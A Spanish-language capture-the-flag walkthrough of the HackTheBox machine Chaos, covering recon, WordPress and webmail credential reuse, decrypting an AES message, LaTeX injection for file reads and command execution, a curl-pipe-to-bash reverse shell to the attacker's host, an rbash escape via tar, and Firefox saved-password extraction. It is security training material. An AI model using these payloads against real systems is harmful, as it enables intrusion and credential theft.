> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Análisis de Chaos HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**Habilidades:**

* Adivinación de contraseñas
* Abuso del servicio de correo electrónico (claws-mail)
* Desafío de criptografía (descifrar mensaje secreto - cifrado con AES)
* Inyección LaTeX (RCE)
* Evasión de rbash (Bash restringido)
* Extracción de credenciales del perfil de Firefox
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/77e3659a8a6a2338f49aad0e07c94e32e22a6a90" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/34996667e1dfb159b5c7fff67703a8dcc5e4b724" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="/files/77d40c8303904f6377166881f755dc63aab2e5f7" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con ExtractPorts (**&#x38;0.110,143.993.995,10000)

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/e2df75609847f6c67577a2e86f015afd77cfd69c" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="/files/b65c92ea2b389803f99679669d2326baad304819" alt=""><figcaption></figcaption></figure>

## **Explotación**

#### **Puerto 80 - Enumeración web**

El acceso directo mediante IP está bloqueado. Por lo tanto, añadimos el `chaos.htb` dominio en `/etc/hosts`.

<figure><img src="/files/210c9563cd9c9bcf4c19522c68c4f887b56d797a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4e1962b4994c909919ee3f557999b9de60aa42f0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c04b272038c560284b23bdd78eebb557f08a828d" alt=""><figcaption></figcaption></figure>

#### **Fuzzing de directorios**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Sin resultados.

<figure><img src="/files/c5601b69e1202f7a9ec61f59e2aeacc547f00749" alt=""><figcaption></figcaption></figure>

**Fuzzing a través de la dirección IP:**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Encontramos una carpeta `/wp` lo que indica WordPress.

<figure><img src="/files/f0fffd3f38f064707e41502cf70f025c3059b20c" alt=""><figcaption></figcaption></figure>

Añadir el `wordpress.chaos.htb` subdominio a `/etc/hosts`.

<figure><img src="/files/8ec4008282405359c43179e47076c7761484c1df" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a6dc63f908a4730ce1c10df83dec928a7283e697" alt="" width="563"><figcaption></figcaption></figure>

### **Enumeración de WordPress**

<figure><img src="/files/6189d436368b0ccf3c595d9cd0915ba4946b1854" alt=""><figcaption></figcaption></figure>

Encontramos un `Humano` usuario en WordPress.

<figure><img src="/files/d1c9b9d683bafff0a1c412c3e105b5be53f2faea" alt=""><figcaption></figcaption></figure>

### **Adivinación de contraseñas**

Un artículo de WordPress contiene una contraseña. Probamos `Humano` y funciona.

<figure><img src="/files/e967904df60976142e681aa20ad19d4fb1c80882" alt=""><figcaption></figcaption></figure>

Encontramos credenciales para un correo web:

* **username**: ayush
* **contraseña**: jiujitsu

## **Puerto 993/995 - Correo web**

El puerto 993 indica un servidor de correo IMAP.

<figure><img src="/files/d411032175a3cb6e1310dd44decec9aea1e32462" alt=""><figcaption></figcaption></figure>

Usamos `claws-mail` para acceder al buzón de Ayush.

```bash
claws-mail
```

<figure><img src="/files/71e5252ef7b5fbc36f2bbafc535ec9aae78ff90e" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="/files/5180bc85108324d78eec396ab943ec435c9d1bc0" alt="" width="563"><figcaption></figcaption></figure>

En un correo encontramos dos archivos adjuntos y el mensaje:

> Hola, Sahay
>
> Revisa el archivo enmsg.txt. Eres la contraseña XD. También adjunté el script que usé para cifrar. Gracias.

<figure><img src="/files/0af68fc6b984557a1d08af30202f608e3beb7c3a" alt=""><figcaption></figcaption></figure>

## **Descifrar mensaje secreto - Cifrado con AES**

<figure><img src="/files/c1a75bade03263fdabcbccc2ee013a02e1f41a62" alt=""><figcaption></figcaption></figure>

Identificamos un `decrypt.py` script en GitHub, que pertenece al mismo proyecto

<figure><img src="/files/04cbc4b54f54f7223b82abb724f39eea67c6ad8f" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### Al ejecutarlo:

```bash
python3 decrypt.py
Introduce el nombre del archivo: ./enim_msg.txt
Introduce la contraseña: sahay
```

El contenido se decodifica con `base64`:

<figure><img src="/files/fce4de8e46b6c51120a1121459d302734c5ffb3c" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

El mensaje revela un servicio LaTeX en `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **Hola Sahay,**
>
> Por favor, descubre nuestro nuevo servicio que crea PDF.
>
> P.D. – Como me aconsejaste, cifré el mensaje importante.
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **Controles de bloqueo**
>
> Gracias, **Ayush**
>
> Gracias, Ayush

<figure><img src="/files/deb8d9cf3715487ddeaf4ea102a9597aecba9064" alt=""><figcaption></figcaption></figure>

## **Vulnerabilidad de inyección LaTeX**

### Inyección de LaTeX (lector de archivos)

<figure><img src="/files/a477788ac0153749a8cbd6ee952f48061d986359" alt=""><figcaption></figcaption></figure>

Interceptamos la solicitud

<figure><img src="/files/8d6a8f24be758532b2f2dcdd691b2835bf496487" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cd81fb9413abfe4b86533166f8b2fa573a1e3622" alt=""><figcaption></figcaption></figure>

#### Documento PDF LaTeX:

<figure><img src="/files/de3912c7dbedbfba4c5bbf041ee206ad96c86a87" alt=""><figcaption></figcaption></figure>

Inyectamos:

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="/files/dbe8d9638ae3ff9e95a7339201d1556028dccb23" alt=""><figcaption></figcaption></figure>

### **Explotación de RCE en LaTeX**

Ejecutamos un `id` comando mediante:

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/a87cc32d6c49333dadb4638c7568ea684520333a" alt=""><figcaption></figcaption></figure>

#### **Shell inversa**

Escuchamos en el puerto 443:

```bash
nc -nvlp 443
```

Creamos un `index.html` script bash:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Lanzamos un servidor web:

```bash
python3 -m http.server 80
```

Inyección de payload:

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/4bfba6190db9caff47392823e7939d42d01160ab" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

### **Pivotando al usuario Ayush - Evasión de rbash**

Nos conectamos como Ayush, pero estamos limitados a una `rbash` shell.

<figure><img src="/files/fbb73342af3293145ec8b3eac6aeb79287345372" alt=""><figcaption></figcaption></figure>

Lista de comandos disponibles:

```bash
compgen -c
```

Encontramos `tar` y evadir `rbash` con:

<figure><img src="/files/334da7236d0aed3e630f502e882532b6da49d017" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/66a8e6801aa4bb6c59aac166a6980291197df5e7" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

Obtenemos acceso a una shell completa y recuperamos `user.txt`.

<figure><img src="/files/2fa69ed6201c252d1c14fee36f5305e8978fe148" alt="" width="449"><figcaption></figcaption></figure>

## **Extracción de credenciales de Firefox**

En el `.mozilla` en la carpeta de Ayush encontramos `key4.db` y `logins.json`.

<figure><img src="/files/8f59f445c6120a7e47c6681674dd2cb507f66985" alt=""><figcaption></figcaption></figure>

Los transferimos a nuestra máquina:

<figure><img src="/files/6588757b804aacdf84be581353e32350eea1076d" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/2db802019e6d9ecb019fad39a5a3acdb702f2afb" alt=""><figcaption></figcaption></figure>

Descifrando IDs con `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Ingresamos `jiujitsu` como contraseña principal y recuperamos:

<figure><img src="/files/0b2f9df58740fdd5db4c48c4612dcb1cb392f4be" alt=""><figcaption></figcaption></figure>

> Contraseña principal para el perfil chaos.htb:8080/bzo7sjt1.default
>
> Sitio web: <https://chaos.htb:10000>
>
> Usuario: 'root' Contraseña: 'Thiv8wrej/\~

Conexión root:

<figure><img src="/files/2a472b3c8cd23bf89f92bfd2f9ecf1b7e8e6a174" alt=""><figcaption></figcaption></figure>

### Bandera root.txt

<figure><img src="/files/f2582a9d2d1f97247ffb976db66e64b76aa5b342" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="/files/1bfebc65889bac145b126c52bb7a1bf02ccfff81" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
